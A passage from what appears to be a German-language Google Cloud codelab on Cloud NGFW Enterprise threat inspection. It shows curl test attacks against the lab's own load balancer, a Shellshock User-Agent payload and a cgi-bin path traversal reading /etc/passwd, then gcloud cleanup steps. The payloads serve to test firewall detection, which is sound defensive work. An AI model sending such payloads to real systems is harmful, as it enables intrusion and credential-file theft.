Wechseln Sie zurück zur Client-VM und senden Sie Angriffe mit hohem Schweregrad noch einmal an die IP-Adresse des externen Servers:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Erwartete Ausgabe:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Wechseln Sie in der Cloud Console zum Tab „Bedrohungen“, um die Logs zu prüfen. Möglicherweise müssen Sie die Seite mehrmals aktualisieren. Die Angriffe hätten identifiziert und noch einmal protokolliert, aber jetzt ist die Quell-IP-Adresse intern, da zuerst eine Regel für ausgehenden Traffic ausgelöst wird:
Schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Abschnitt mit den Bereinigen fort.
8. Bereinigungsschritte
Bereinigung der Cloud NGFW Enterprise-Komponenten
Vorhandene Cloud NGFW Enterprise-Verknüpfungen auflisten:
gcloud network-security firewall-endpoint-associations list
Löschen Sie die Cloud NGFW Enterprise-Verknüpfung:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Listen Sie vorhandene Cloud NGFW Enterprise-Endpunkte auf:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Löschen Sie den Cloud NGFW Enterprise-Endpunkt. Dies kann etwa 20 Minuten dauern:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Prüfen Sie, ob Cloud NGFW Enterprise gelöscht wurde, indem Sie den folgenden Befehl ausführen:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Löschen Sie die Sicherheitsprofilgruppe und das Threat Prevention-Profil:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Clean-up für Basiseinrichtung
Fahren Sie mit dem nächsten Schritt fort, wenn Sie die Basisressourcen löschen möchten.
Definieren Sie bei Bedarf die Umgebungsvariablen. Löschen Sie in Cloud Shell die Komponenten des Network Load Balancers:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
So entfernen Sie Instanzen:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Führen Sie optional die folgenden Schritte aus, wenn die Rollen „tagAdmin“ und „tagUsers“ geändert wurden:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Entfernen Sie Tag-Schlüssel und -Werte:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Löschen Sie die Cloud Firewall-Netzwerkrichtlinie und die Verknüpfung:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Löschen Sie Cloud Router und Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Löschen Sie reservierte IP-Adressen:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Löschen Sie zum Schluss das Subnetz und das VPC-Netzwerk:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Glückwunsch!
Herzlichen Glückwunsch! Sie haben das Codelab für Cloud NGFW Enterprise for East-West and North-South Inspection erfolgreich abgeschlossen.